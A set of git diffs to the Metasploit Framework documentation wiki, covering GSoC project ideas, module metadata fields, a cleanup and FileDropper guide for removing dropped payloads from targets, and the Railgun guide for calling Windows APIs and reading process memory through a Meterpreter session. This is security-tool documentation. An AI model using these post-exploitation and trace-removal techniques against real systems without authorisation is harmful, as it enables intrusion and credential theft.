[ysoserial]: https://github.com/pwntester/ysoserial.net
|
||||
[dot-net-deserialization-root]: https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/util/dot_net_deserialization
|
||||
[MS-NRBF]: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/75b9fe09-be15-475f-85b8-ae7b7558cfe5
|
||||
[Bindata]: https://github.com/dmendel/bindata
|
||||
[dot-net-deserialization-types]: https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/util/dot_net_deserialization/types
|
||||
[dot-net-deserialization-rb]: https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/util/dot_net_deserialization.rb
|
||||
[unit-test]: https://github.com/rapid7/metasploit-framework/blob/master/spec/lib/msf/util/dot_net_deserialization_spec.rb
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
GSoC Project Ideas in no particular order.
|
||||
|
||||
Mentors: @busterb, @zerosteiner, @timwr, @asoto-r7, @jmartin-r7, @pbarry-r7, @mkienow-r7, @jbarnett-r7
|
||||
Mentors: [@busterb](https://github.com/busterb), [@zerosteiner](https://github.com/zerosteiner), [@timwr](https://github.com/timwr), [@asoto-r7](https://github.com/asoto-r7), [@jmartin-r7](https://github.com/jmartin-r7), [@pbarry-r7](https://github.com/pbarry-r7), [@mkienow-r7](https://github.com/mkienow-r7), [@jbarnett-r7](https://github.com/jbarnett-r7)
|
||||
|
||||
## Enhance Metasploit Framework
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
GSoC Project Ideas in no particular order. When you've picked one, take a look at [[How-to-Apply-to-GSoC]] for how to make a proposal.
|
||||
|
||||
Mentors: @zerosteiner, @jmartin-r7
|
||||
Mentors: [@zerosteiner](https://github.com/zerosteiner), [@jmartin-r7](https://github.com/jmartin-r7)
|
||||
|
||||
## Enhance Metasploit Framework
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
GSoC Project Ideas in no particular order. When you've picked one, take a look at [[How-to-Apply-to-GSoC]] for how to make a proposal.
|
||||
|
||||
Mentors: @zerosteiner, @jmartin-r7
|
||||
Mentors: [@zerosteiner](https://github.com/zerosteiner), [@jmartin-r7](https://github.com/jmartin-r7)
|
||||
|
||||
## Enhance Metasploit Framework
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
GSoC Project Ideas in no particular order. When you've picked one, take a look at [[How-to-Apply-to-GSoC]] for how to make a proposal.
|
||||
|
||||
Mentors: @zerosteiner, @jmartin-r7, @gwillcox-r7
|
||||
Mentors: [@zerosteiner](https://github.com/zerosteiner), [@jmartin-r7](https://github.com/jmartin-r7), [@gwillcox-r7](https://github.com/gwillcox-r7)
|
||||
|
||||
Slack Contacts: @zeroSteiner, @Op3n4M3, @gwillcox-r7 on [Metasploit Slack](https://metasploit.slack.com/)
|
||||
|
||||
@@ -24,7 +24,7 @@ Difficulty: 4/5
|
||||
|
||||
### LDAP Capture Capabilities
|
||||
|
||||
Metasploit's LDAP service mixin provides a service to enable interaction over the LDAP protocol. The current implementation is the bare minimum to enable support for attacking the [2021 Log4Shell vulnerability](). Enhancement/Extension of the mixin to enable various additional LDAP features would enable extended usage of this service for additional tasks. Support for various protocol level authentication methods would allow Metasploit to intercept and log authentication information. Specific items of interest are [SPNEGO](https://en.wikipedia.org/wiki/SPNEGO) and [StartTLS](https://ldapwiki.com/wiki/StartTLS) support to enable compatibility with the widest variety of clients and a new capture module that log authentication information from clients.
|
||||
Metasploit's LDAP service mixin provides a service to enable interaction over the LDAP protocol. The current implementation is the bare minimum to enable support for attacking the [2021 Log4Shell vulnerability](https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell?referrer=msf_docs). Enhancement/Extension of the mixin to enable various additional LDAP features would enable extended usage of this service for additional tasks. Support for various protocol level authentication methods would allow Metasploit to intercept and log authentication information. Specific items of interest are [SPNEGO](https://en.wikipedia.org/wiki/SPNEGO) and [StartTLS](https://ldapwiki.com/wiki/StartTLS) support to enable compatibility with the widest variety of clients and a new capture module that log authentication information from clients.
|
||||
|
||||
Size: Medium
|
||||
Difficulty: 3/5
|
||||
@@ -58,7 +58,7 @@ Difficulty: 4/5
|
||||
|
||||
Enhance existing Metasploit Goliath dashboard that allows observation of an active engagement. Data visualization would include, but not be limited to: host node graph with activity indicators and heat maps. The main idea here is to create a visualization tool that helps users understand data that has been gathered into Metasploit during usage in some useful way. Proposals should note where the service will live, how a user will use the service, and how you will provide a maintainable and extendable consumer for the data that is exposed.
|
||||
|
||||
See [Metasploit 'Goliath' Demo (msf-red)](https://www.youtube.com/watch?v=hvuy6A-ie1g&feature=youtu.be&t=176) for a demo video of Goliath in action. You can also read more on Metasploit Goliath at [Metasploit-Data-Service-Enhancements-(Goliath)](./Metasploit-Data-Service-Enhancements-Goliath)
|
||||
See [Metasploit 'Goliath' Demo (msf-red)](https://www.youtube.com/watch?v=hvuy6A-ie1g&feature=youtu.be&t=176) for a demo video of Goliath in action. You can also read more on Metasploit Goliath at [[Metasploit-Data-Service-Enhancements-(Goliath)|./Metasploit-Data-Service-Enhancements-Goliath]
|
||||
|
||||
Size: Medium/Large (Depends on proposal)
|
||||
Difficulty 3/5
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
GSoC Project Ideas in no particular order. When you've picked one, take a look at [[How-to-Apply-to-GSoC]] for how to make a proposal.
|
||||
|
||||
Mentors: @jmartin-r7, @gwillcox-r7
|
||||
Mentors: [@jmartin-r7](https://github.com/jmartin-r7)
|
||||
|
||||
Slack Contacts: @Op3n4M3, @gwillcox-r7 on [Metasploit Slack](https://metasploit.slack.com/)
|
||||
Slack Contacts: @Op3n4M3 on [Metasploit Slack](https://metasploit.slack.com/)
|
||||
|
||||
For any questions about these projects reach out on the Metasploit Slack in the `#gsoc` channel or DM one of the mentors using the Slack contacts listed above. Note that mentors may be busy so please don't expect an immediate response, however we will endeavor to respond as soon as possible. If you'd prefer not to join Slack, you can also email `msfdev [@] metasploit [dot] com` and we will respond to your questions there if email is preferable.
|
||||
|
||||
@@ -17,18 +17,11 @@ Difficulty: 4/5
|
||||
|
||||
### LDAP Capture Capabilities
|
||||
|
||||
Metasploit's LDAP service mixin provides a service to enable interaction over the LDAP protocol. The current implementation is the bare minimum to enable support for attacking the [2021 Log4Shell vulnerability](). Enhancement/Extension of the mixin to enable various additional LDAP features would enable extended usage of this service for additional tasks. Support for various protocol level authentication methods would allow Metasploit to intercept and log authentication information. Specific items of interest are [SPNEGO](https://en.wikipedia.org/wiki/SPNEGO) and [StartTLS](https://ldapwiki.com/wiki/StartTLS) support to enable compatibility with the widest variety of clients and a new capture module that log authentication information from clients.
|
||||
Metasploit's LDAP service mixin provides a service to enable interaction over the LDAP protocol. The current implementation is the bare minimum to enable support for attacking the [2021 Log4Shell vulnerability](https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell?referrer=msf_docs). Enhancement/Extension of the mixin to enable various additional LDAP features would enable extended usage of this service for additional tasks. Support for various protocol level authentication methods would allow Metasploit to intercept and log authentication information. Specific items of interest are [SPNEGO](https://en.wikipedia.org/wiki/SPNEGO) and [StartTLS](https://ldapwiki.com/wiki/StartTLS) support to enable compatibility with the widest variety of clients and a new capture module that log authentication information from clients.
|
||||
|
||||
Size: Medium
|
||||
Difficulty: 3/5
|
||||
|
||||
### Enhanced LDAP Query & Collection
|
||||
|
||||
When preforming security assessment on a network with centralized login such as LDAP or Active Directory these services are sometimes exposed directly on the network. While Metasploit has capabilities to collect various pieces of information from these services when a user has been able to gain code execution inside a target system by utilizing tooling such as `Sharphound` or by leveraging SMB services via the `secrets_dump` module, these methods are somewhat indirect. A network base capability to query exposed services may have value. An interactive terminal plugin allowing users to connect directly to LDAP or Active Directory providing capabilities similar to the existing `requests` plugin could enable users search for valuable information in these services without the need to compromise a target or interact with a secondary service.
|
||||
|
||||
Size: Medium/Large (Depends on proposal)
|
||||
Difficulty: 3/5
|
||||
|
||||
### Improving post-exploit API to be more consistent, work smoothly across session types
|
||||
|
||||
The Metasploit post-exploitation API is intended to provide a unified interface between different Meterpreter, shell, PowerShell, mainframe, and other session types. However, there are areas where the implementation is not consistent, and could use improvements:
|
||||
@@ -51,9 +44,9 @@ Difficulty: 4/5
|
||||
|
||||
Enhance existing Metasploit Goliath dashboard that allows observation of an active engagement. Data visualization would include, but not be limited to: host node graph with activity indicators and heat maps. The main idea here is to create a visualization tool that helps users understand data that has been gathered into Metasploit during usage in some useful way. Proposals should note where the service will live, how a user will use the service, and how you will provide a maintainable and extendable consumer for the data that is exposed.
|
||||
|
||||
See [Metasploit 'Goliath' Demo (msf-red)](https://www.youtube.com/watch?v=hvuy6A-ie1g&feature=youtu.be&t=176) for a demo video of Goliath in action. You can also read more on Metasploit Goliath at [Metasploit-Data-Service-Enhancements-(Goliath)](./Metasploit-Data-Service-Enhancements-Goliath)
|
||||
See [Metasploit 'Goliath' Demo (msf-red)](https://www.youtube.com/watch?v=hvuy6A-ie1g&feature=youtu.be&t=176) for a demo video of Goliath in action. You can also read more on Metasploit Goliath at [[Metasploit-Data-Service-Enhancements-(Goliath)|./Metasploit-Data-Service-Enhancements-Goliath]]
|
||||
|
||||
Size: Medium/Large (Depends on proposal)
|
||||
Size: Medium/Large (Depends on proposal)
|
||||
Difficulty 3/5
|
||||
|
||||
## Submit your own
|
||||
|
||||
@@ -69,7 +69,12 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
},
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => '',
|
||||
'DefaultTarget' => 0
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
|
||||
},
|
||||
)
|
||||
)
|
||||
end
|
||||
@@ -99,7 +104,14 @@ end
|
||||
|
||||
* **Payloads** - The Payloads field specifies how the payload should be encoded and generated. You can specify: `Space`, `SaveRegisters`, `Prepend`, `PrependEncoder`, `BadChars`, `Append`, `AppendEncoder`, `MaxNops`, `MinNops`, `Encoder`, `Nop`, `EncoderType`, `EncoderOptions`, `ExtendedOptions`, `EncoderDontFallThrough`.
|
||||
|
||||
**DisclosureDate** - The DisclosureDate is about when the vulnerability was disclosed in public, in the format of: "M D Y". For example: "Apr 04 2014"
|
||||
* **DisclosureDate** - The DisclosureDate is about when the vulnerability was disclosed in public, in the format of: "M D Y". For example: "Apr 04 2014"
|
||||
|
||||
* **Notes** - The Notes field is a hash always containing three keys. The value of each key is an array of constants. The list of available constants can be found in the [[Definition of Module Reliability Side Effects and Stability|./Definition-of-Module-Reliability-Side-Effects-and-Stability.md]]. The key should be present even if the array is empty.
|
||||
|
||||
* **Stability** - The Stability field describes how the exploit affects the system it's being run on, ex: `CRASH_SAFE`, `CRASH_OS_DOWN`
|
||||
* **Reliability** - The Reliability field describes how reliable the session is that gets returned by the exploit, ex: `REPEATABLE_SESSION`, `UNRELIABLE_SESSION`
|
||||
* **SideEffects** - The SideEffects field describes the side effects cause by the exploit that the user should be aware of, ex: `ARTIFACTS_ON_DISK`, `IOC_IN_LOGS`, `ACCOUNT_LOCKOUTS`.
|
||||
|
||||
|
||||
Your exploit should also have a `check` method to support the check command, but this is optional in case it's not possible.
|
||||
|
||||
|
||||
@@ -33,7 +33,6 @@ Are you anxious to get your [[Metasploit Development Environment|./dev/Setting-U
|
||||
- [[Exploit Ranking]]
|
||||
- [[Module Reference Identifiers]]
|
||||
- [[How to check Microsoft patch levels for your exploit]]
|
||||
- [[How to clean up files using FileDropper]]
|
||||
- [[How to deprecate a Metasploit module]]
|
||||
- [[How to do reporting or store data in module development]]
|
||||
- [[How to log in Metasploit]]
|
||||
@@ -65,6 +64,7 @@ Are you anxious to get your [[Metasploit Development Environment|./dev/Setting-U
|
||||
- [[Using ReflectiveDll Injection]]
|
||||
- [[Oracle Usage]]
|
||||
- [[Definition of Module Reliability, Side Effects, and Stability|./Definition-of-Module-Reliability-Side-Effects-and-Stability.md]]
|
||||
- [[How to cleanup after module execution]]
|
||||
|
||||
# Metasploit Payloads #
|
||||
|
||||
|
||||
@@ -1,38 +0,0 @@
|
||||
## On this page
|
||||
|
||||
* [Examples](#examples)
|
||||
* [Reference](#reference)
|
||||
|
||||
In some exploitation scenarios such as local privilege escalation, command execution, write privilege attacks, SQL Injections, etc, it is very likely that you have to upload one or more malicious files in order to gain control of the target machine. Well, a smart attacker shouldn't leave anything behind, so if a module needs to drop something onto the file system, it's important to remove it right after the purpose is served. And that is why we created the FileDropper mixin.
|
||||
|
||||
## Examples
|
||||
|
||||
The FileDropper mixin is a file manager that allows you to keep track of files, and then delete them when a session is created. To use it, first include the mixin:
|
||||
|
||||
```ruby
|
||||
include Msf::Exploit::FileDropper
|
||||
```
|
||||
|
||||
Next, tell the FileDropper mixin where the file is going to be after a session is created by using the ```register_file_for_cleanup``` method. Each file name should either be a full path or relative to the current working directory of the session. For example, if I want to upload a payload to the target machine's remote path: ```C:\Windows\System32\payload.exe```, then my statement can be:
|
||||
|
||||
```ruby
|
||||
register_file_for_cleanup("C:\\Windows\\System32\\payload.exe")
|
||||
```
|
||||
|
||||
If my session's current directory is already in ```C:\Windows\System32\```, then you can:
|
||||
|
||||
```ruby
|
||||
register_file_for_cleanup("payload.exe")
|
||||
```
|
||||
|
||||
If you wish to register multiple files, you can also provide the file names as arguments:
|
||||
|
||||
```ruby
|
||||
register_file_for_cleanup("file_1.vbs", "file_2.exe", "file_1.conf")
|
||||
```
|
||||
|
||||
Note that if your exploit module uses ```on_new_session```, you are actually overriding FileDropper's ```on_new_session```.
|
||||
|
||||
## Reference
|
||||
|
||||
- <https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/file_dropper.rb>
|
||||
@@ -0,0 +1,86 @@
|
||||
## On this page
|
||||
|
||||
* [Cleanup method](#cleanup-method)
|
||||
* [FileDropper Mixin](#filedropper-mixin)
|
||||
|
||||
## Cleanup method
|
||||
|
||||
Metasploit has a handy `cleanup` method that is always called when the module terminates, whether it is successful or not. This method can be overridden by any modules to add their own cleanup routines. For example, this might be useful to put some files back on the target after the module had deleted them. Another scenario would be to restore the settings in a web application that were modified by the exploit. This is the right place to clean things up.
|
||||
|
||||
Framework itself implements this method to disconnect connections, call the handler cleanup routines, etc. Some other mixins, such as the `Msf::Exploit::FileDropper` (see the next [section](#filedropper-mixin)) or `Msf::Exploit::Remote::Kerberos::Client`, override this method to add their own cleanup code. It is extremely important to **always** call `super` in your `cleanup` method to make sure Framework and any other mixins clean up themself properly.
|
||||
|
||||
Here is an example that restores a configuration file after being deleted by the module:
|
||||
```ruby
|
||||
def cleanup
|
||||
unless self.conf_content.nil?
|
||||
write_file(self.conf_file, self.conf_content)
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
```
|
||||
|
||||
Here is another example of a `cleanup` method that deletes a temporary Git repository:
|
||||
```ruby
|
||||
def cleanup
|
||||
super
|
||||
return unless need_cleanup?
|
||||
|
||||
print_status('Cleaning up')
|
||||
uri = normalize_uri(datastore['USERNAME'], self.repo_name, '/settings')
|
||||
csrf = get_csrf(uri)
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], uri),
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'vars_post' => {
|
||||
_csrf: csrf,
|
||||
action: 'delete',
|
||||
repo_name: self.repo_name
|
||||
}
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unreachable, 'Unable to reach the settings page')
|
||||
end
|
||||
|
||||
unless res.code == 302
|
||||
fail_with(Failure::UnexpectedReply, 'Delete repository failure')
|
||||
end
|
||||
|
||||
print_status("Repository #{self.repo_name} deleted.")
|
||||
|
||||
nil
|
||||
end
|
||||
```
|
||||
|
||||
## FileDropper Mixin
|
||||
|
||||
In some exploitation scenarios such as local privilege escalation, command execution, write privilege attacks, SQL Injections, etc, it is very likely that you have to upload one or more malicious files in order to gain control of the target machine. Well, a smart attacker shouldn't leave anything behind, so if a module needs to drop something onto the file system, it's important to remove it right after the purpose is served. And that is why we created the FileDropper mixin.
|
||||
|
||||
The [FileDropper mixin](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/file_dropper.rb) is a file manager that allows you to keep track of files, and then delete them when a session is created. To use it, first include the mixin:
|
||||
|
||||
```ruby
|
||||
include Msf::Exploit::FileDropper
|
||||
```
|
||||
|
||||
Next, tell the FileDropper mixin where the file is going to be after a session is created by using the `register_file_for_cleanup` method. Each file name should either be a full path or relative to the current working directory of the session. For example, if I want to upload a payload to the target machine's remote path: `C:\Windows\System32\payload.exe`, then my statement can be:
|
||||
|
||||
```ruby
|
||||
register_file_for_cleanup("C:\\Windows\\System32\\payload.exe")
|
||||
```
|
||||
|
||||
If my session's current directory is already in `C:\Windows\System32\`, then you can:
|
||||
|
||||
```ruby
|
||||
register_file_for_cleanup("payload.exe")
|
||||
```
|
||||
|
||||
If you wish to register multiple files, you can also provide the file names as arguments:
|
||||
|
||||
```ruby
|
||||
register_file_for_cleanup("file_1.vbs", "file_2.exe", "file_1.conf")
|
||||
```
|
||||
|
||||
Note that if your exploit module uses `on_new_session`, you are actually overriding FileDropper's `on_new_session`.
|
||||
|
||||
@@ -62,6 +62,14 @@ The other one is ```inspect```, which returns a string of a human-readable repre
|
||||
session.inspect
|
||||
```
|
||||
|
||||
One commonly used method of the session object is the `platform` method. For example, if you're writing a post module for a windows exploit, in the check method you'll likely want to use `session.platform` to ensure the target session is affected:
|
||||
```ruby
|
||||
unless session.platform == 'windows'
|
||||
# Non-Windows systems are definitely not affected.
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
```
|
||||
|
||||
You can also look at [other current post modules](https://github.com/rapid7/metasploit-framework/tree/master/modules/post) and see how they use their session object.
|
||||
|
||||
### The Msf::Post Mixin
|
||||
|
||||
+54
-39
@@ -1,8 +1,8 @@
|
||||
Railgun is a very powerful post exploitation feature exclusive to Windows Meterpreter. It allows you to have complete control of your target machine's Windows API, or you can use whatever DLL you find and do even more creative stuff with it. For example: say you have a meterpreter session on a Windows target. You have your eyes on a particular application that you believe stores the user's password, but it is encrypted and there are no tools out there for decryption. With Railgun, what you can do is you can either tap into the process and grep for any sensitive information found in memory, or you can look for the program's DLL that's responsible for the decryption, call it, and let it decrypt it for you. If you're a penetration tester, obviously post exploitation is an important skill to have, but if you don't know Railgun, you are missing out a lot.
|
||||
Railgun is a very powerful post exploitation feature exclusive to the Windows and Python Meterpreters. It allows you to have complete control of your target machine's Windows API, or you can use whatever DLL you find and do even more creative stuff with it. For example: say you have a Meterpreter session on a Windows target. You have your eyes on a particular application that you believe stores the user's password, but it is encrypted and there are no tools out there for decryption. With Railgun, you can either tap into the process and grep for any sensitive information found in memory, or you can look for the program's DLL that's responsible for the decryption, call it, and let it decrypt it for you. If you're a penetration tester, obviously post exploitation is an important skill to have, but if you don't know Railgun, you are missing out a lot.
|
||||
|
||||
### Defining a DLL and its functions
|
||||
## Defining a DLL and its functions
|
||||
|
||||
The Windows API is obviously quite large, so by default Railgun only comes with a handful of pre-defined DLLs and functions that are commonly used for building a Windows program. These built-in DLLs are: kernel32, ntdll, user32, ws2_32, iphlpapi, advapi32, shell32, netapi32, crypt32, wlanapi, wldap32, version. The same list of built-in DLLs can also be retrieved by using the ```known_dll_names``` method.
|
||||
The Windows API is obviously quite large, so by default Railgun only comes with a handful of pre-defined DLLs and functions that are commonly used for building a Windows program. These built-in DLLs are: advapi32, crypt32, dbghelp, iphlpapi, kernel32, netapi32, ntdll, psapi, shell32, spoolss, user32, version, winspool, wlanapi, wldap32, and ws2_32. The same list of built-in DLLs can also be retrieved by using the `known_library_names` method.
|
||||
|
||||
All DLL definitions are found in the "[def](https://github.com/rapid7/metasploit-framework/tree/master/lib/rex/post/meterpreter/extensions/stdapi/railgun/def)" directory, where they are defined as classes. The following template should demonstrate how a DLL is actually defined:
|
||||
|
||||
@@ -16,16 +16,16 @@ module Stdapi
|
||||
module Railgun
|
||||
module Def
|
||||
|
||||
class Def_somedll
|
||||
class Def_windows_somedll
|
||||
|
||||
def self.create_dll(dll_path = 'somedll')
|
||||
dll = DLL.new(dll_path, ApiConstants.manager)
|
||||
def self.create_library(constant_manager, dll_path = 'somedll')
|
||||
dll = Library.new(library_path, constant_manager)
|
||||
|
||||
# 1st argument = Name of the function
|
||||
# 2nd argument = Return value's data type
|
||||
# 3rd argument = An array of parameters
|
||||
dll.add_function('SomeFunction', 'DWORD',[
|
||||
["DWORD","hwnd","in"]
|
||||
['DWORD','hwnd','in']
|
||||
])
|
||||
|
||||
return dll
|
||||
@@ -36,32 +36,34 @@ end
|
||||
end; end; end; end; end; end; end
|
||||
```
|
||||
|
||||
In function definitions, Railgun supports these datatypes: VOID, BOOL, DWORD, WORD, BYTE, LPVOID, HANDLE, PDWORD, PWCHAR, PCHAR, PBLOB.
|
||||
In function definitions, Railgun supports these data types: BOOL, BYTE, DWORD, LPVOID, PBLOB, PCHAR, PDWORD, PULONG_PTR, PWCHAR, ULONG_PTR, VOID, WORD.
|
||||
|
||||
There are four parameter/buffer directions: in, out, inout, and return. When you pass a value to an "in" parameter, Railgun handles the memory management. For example, ```MessageBoxA``` has a "in" parameter named ```lpText```, and is of type PCHAR. You can simply pass a Ruby string to it, and Railgun handles the rest, it's all pretty straight forward.
|
||||
There are four parameter/buffer directions: in, out, inout, and return. When you pass a value to an "in" parameter, Railgun handles the memory management. For example, `MessageBoxA` has an "in" parameter named `lpText`, and is of type PCHAR. You can simply pass a Ruby string to it, and Railgun handles the rest, it's all pretty straight forward.
|
||||
|
||||
An "out" parameter will always be of a pointer datatype. Basically you tell Railgun how many bytes to allocate for the parameter, it allocates memory, provides a pointer to it when calling the function, and then it reads that region of memory that the function wrote, converts that to a Ruby object and adds it to the return hash.
|
||||
An "out" parameter will always be of a pointer datatype. Basically you tell Railgun how many bytes to allocate for the parameter, it allocates memory, provides a pointer to it when calling the function, and then it reads that region of memory that the function wrote, converts that to a Ruby object and adds it to the return hash. Some datatypes such as LPVOID and ULONG_PTR have a size that is determined based on the host architecture, e.g. 32-bit versions of Windows use 4-byte/32-bit values. For cross compatibility, the number 4 (for 4-bytes) can be used as the size for these values on both 32-bit and 64-bit systems. The number four comes from the size used for these types in the original 32-bit implementation and was selected to maintain backwards compatibility when 64-bit support was added.
|
||||
|
||||
An "inout" parameter serves as an input to the called function, but can be potentially modified by it. You can inspect the return hash for the modified value like an "out" parameter.
|
||||
|
||||
A quick way to define a new function at runtime can be done like the following example:
|
||||
The fourth type, "return" is used as the return data type. It is passed to `#add_function` after the function name argument.
|
||||
|
||||
A quick way to define a new function (or redefine an existing function) at runtime can be done like the following example:
|
||||
|
||||
```ruby
|
||||
client.railgun.add_function('user32', 'MessageBoxA', 'DWORD',[
|
||||
["DWORD","hWnd","in"],
|
||||
["PCHAR","lpText","in"],
|
||||
["PCHAR","lpCaption","in"],
|
||||
["DWORD","uType","in"]
|
||||
['DWORD','hWnd','in'],
|
||||
['PCHAR','lpText','in'],
|
||||
['PCHAR','lpCaption','in'],
|
||||
['DWORD','uType','in']
|
||||
])
|
||||
```
|
||||
|
||||
However, if this function will most likely be used more than once, or it's part of the Windows API, then you should put it in the library.
|
||||
However, if this function will most likely be used more than once, or it's part of the Windows API, then you should put it in to the library.
|
||||
|
||||
### Usage
|
||||
## Usage
|
||||
|
||||
The best way to try Railgun is with irb in a Windows Meterpreter prompt. Here's an example of how to get there:
|
||||
|
||||
```
|
||||
```msf
|
||||
$ msfconsole -q
|
||||
msf > use exploit/multi/handler
|
||||
msf exploit(handler) > run
|
||||
@@ -72,70 +74,81 @@ msf exploit(handler) > run
|
||||
[*] Meterpreter session 1 opened (192.168.1.64:4444 -> 192.168.1.106:55148) at 2014-07-30 19:49:35 -0500
|
||||
|
||||
meterpreter > irb
|
||||
[*] Starting IRB shell
|
||||
[*] The 'client' variable holds the meterpreter client
|
||||
[*] Starting IRB shell...
|
||||
[*] You are in the "client" (session) object
|
||||
|
||||
>>
|
||||
```
|
||||
|
||||
Note that when you're running a post module or in irb, you always have a ```client``` or ```session``` object to work with, both point to same thing, which in this case is ```Msf::Sessions::Meterpreter_x86_Win```. This Meterpreter session object gives you API access to the target machine, including the Railgun object ```Rex::Post::Meterpreter::Extensions::Stdapi::Railgun::Railgun```. Here's how you simply access it:
|
||||
Note that when you're running a post module or in irb, you always have a `client` or `session` object to work with, both point to same thing, which in this case is `Msf::Sessions::Meterpreter_x86_Win`. This Meterpreter session object gives you API access to the target machine, including the Railgun object `Rex::Post::Meterpreter::Extensions::Stdapi::Railgun::Railgun`. Here's how you simply access it:
|
||||
|
||||
```ruby
|
||||
session.railgun
|
||||
railgun
|
||||
```
|
||||
|
||||
If you run the above in irb, you will see that it returns information about all the DLLs, functions, constants, etc, except it's a little unfriendly to read because there's so much data. Fortunately, there are some handy tricks to help us to figure things out. For example, like we mentioned before, if you're not sure what DLLs are loaded, you can call the ```known_dll_names``` method:
|
||||
If you run the above in irb, you will see that it returns information about all the DLLs, functions, constants, etc, except it's a little unfriendly to read because there's so much data. Fortunately, there are some handy tricks to help us to figure things out. For example, like we mentioned before, if you're not sure what DLLs are loaded, you can call the `known_dll_name` method:
|
||||
|
||||
```
|
||||
>> session.railgun.known_dll_names
|
||||
=> ["kernel32", "ntdll", "user32", "ws2_32", "iphlpapi", "advapi32", "shell32", "netapi32", "crypt32", "wlanapi", "wldap32", "version"]
|
||||
>> railgun.known_library_names
|
||||
=> ["kernel32", "ntdll", "user32", "ws2_32", "iphlpapi", "advapi32", "shell32", "netapi32", "crypt32", "wlanapi", "wldap32", "version", "psapi", "dbghelp", "winspool", "spoolss"]
|
||||
```
|
||||
|
||||
Now, say we're interested in user32 and we want to find all the available functions (as well as return value's data type, parameters), another handy trick is this:
|
||||
|
||||
```ruby
|
||||
session.railgun.user32.functions.each_pair {|n, v| puts "Function name: #{n}, Returns: #{v.return_type}, Params: #{v.params}"}
|
||||
railgun.user32.functions.each_pair {|n, v| puts "Function name: #{n}, Returns: #{v.return_type}, Params: #{v.params}"}
|
||||
```
|
||||
|
||||
Note that if you happen to call an invalid or unsupported Windows function, a ```RuntimeError``` will raise, and the error message also shows a list of available functions.
|
||||
Note that if you happen to call an invalid or unsupported Windows function, a `RuntimeError` will raise, and the error message also shows a list of available functions.
|
||||
|
||||
To call a Windows API function, here's how:
|
||||
To call a Windows API function, call the Ruby function of the desired name on the corresponding library (DLL) object. For example to call `user32!MessageBoxA`:
|
||||
|
||||
```
|
||||
>> session.railgun.user32.MessageBoxA(0, "hello, world", "hello", "MB_OK")
|
||||
>> railgun.user32.MessageBoxA(0, "hello, world", "hello", "MB_OK")
|
||||
=> {"GetLastError"=>0, "ErrorMessage"=>"The operation completed successfully.", "return"=>1}
|
||||
```
|
||||
|
||||
As you can see this API call returns a hash. One habit we have seen is that sometimes people don't like to check ```GetLastError```, ```ErrorMessage```, and/or the ```return``` value, they kind of just assume it works. This is a bad programming habit, and is not recommended. If you always assume something works, and execute the next API call, you risk having unexpected results (worst case scenario: losing the Meterpreter session).
|
||||
As you can see, this API call returns a hash. The "return" key is the return value of the function, as defined by its defined datatype. If the return type is a pointer to a known type (a pointer other than LPVOID, such as PCHAR), then the "return" key will be the value of that type and an additional "&return" key will be included. The "&return" key, when present, is the address in memory at which the "return" value is located. This is useful when the caller needs to both access the value but also have the ability to free it at a later time. Note that in these cases, if the pointer is NULL, "return" will always be Ruby's `nil` value and "&return" will be 0.
|
||||
|
||||
### Memory Reading and Writing
|
||||
The "GetLastError" key is the threads last-error code, as returned by [kernel32!GetLastError][kernel32!GetLastError]. This value is useful for determining if the function call was successful and not not, why it failed. The "ErrorMessage" key is a string to a human readable name of the corresponding "GetLastError" code. When making a function call through railgun, it s important to inspect the results to determine if it was successful before processing any results. There is no error handling for native API calls, so simple mistakes like accessing invalid memory locations will cause the session to close as the host process crashes.
|
||||
|
||||
The ```Railgun``` class also has two very useful methods that you will probably use: ```memread``` and ```memwrite```. The names are pretty self-explanatory: You read a block of memory, or you write to a region of memory. We'll demonstrate this with a new block of memory in the payload itself:
|
||||
## Memory Reading and Writing
|
||||
|
||||
The `Railgun` class also has useful methods that you will probably use: `memread` and `memwrite`. The names are pretty self-explanatory: You read a block of memory, or you write to a region of memory. We'll demonstrate this with a new block of memory in the payload itself:
|
||||
|
||||
```
|
||||
>> p = session.sys.process.open(session.sys.process.getpid, PROCESS_ALL_ACCESS)
|
||||
>> process = sys.process.open(sys.process.getpid, PROCESS_ALL_ACCESS)
|
||||
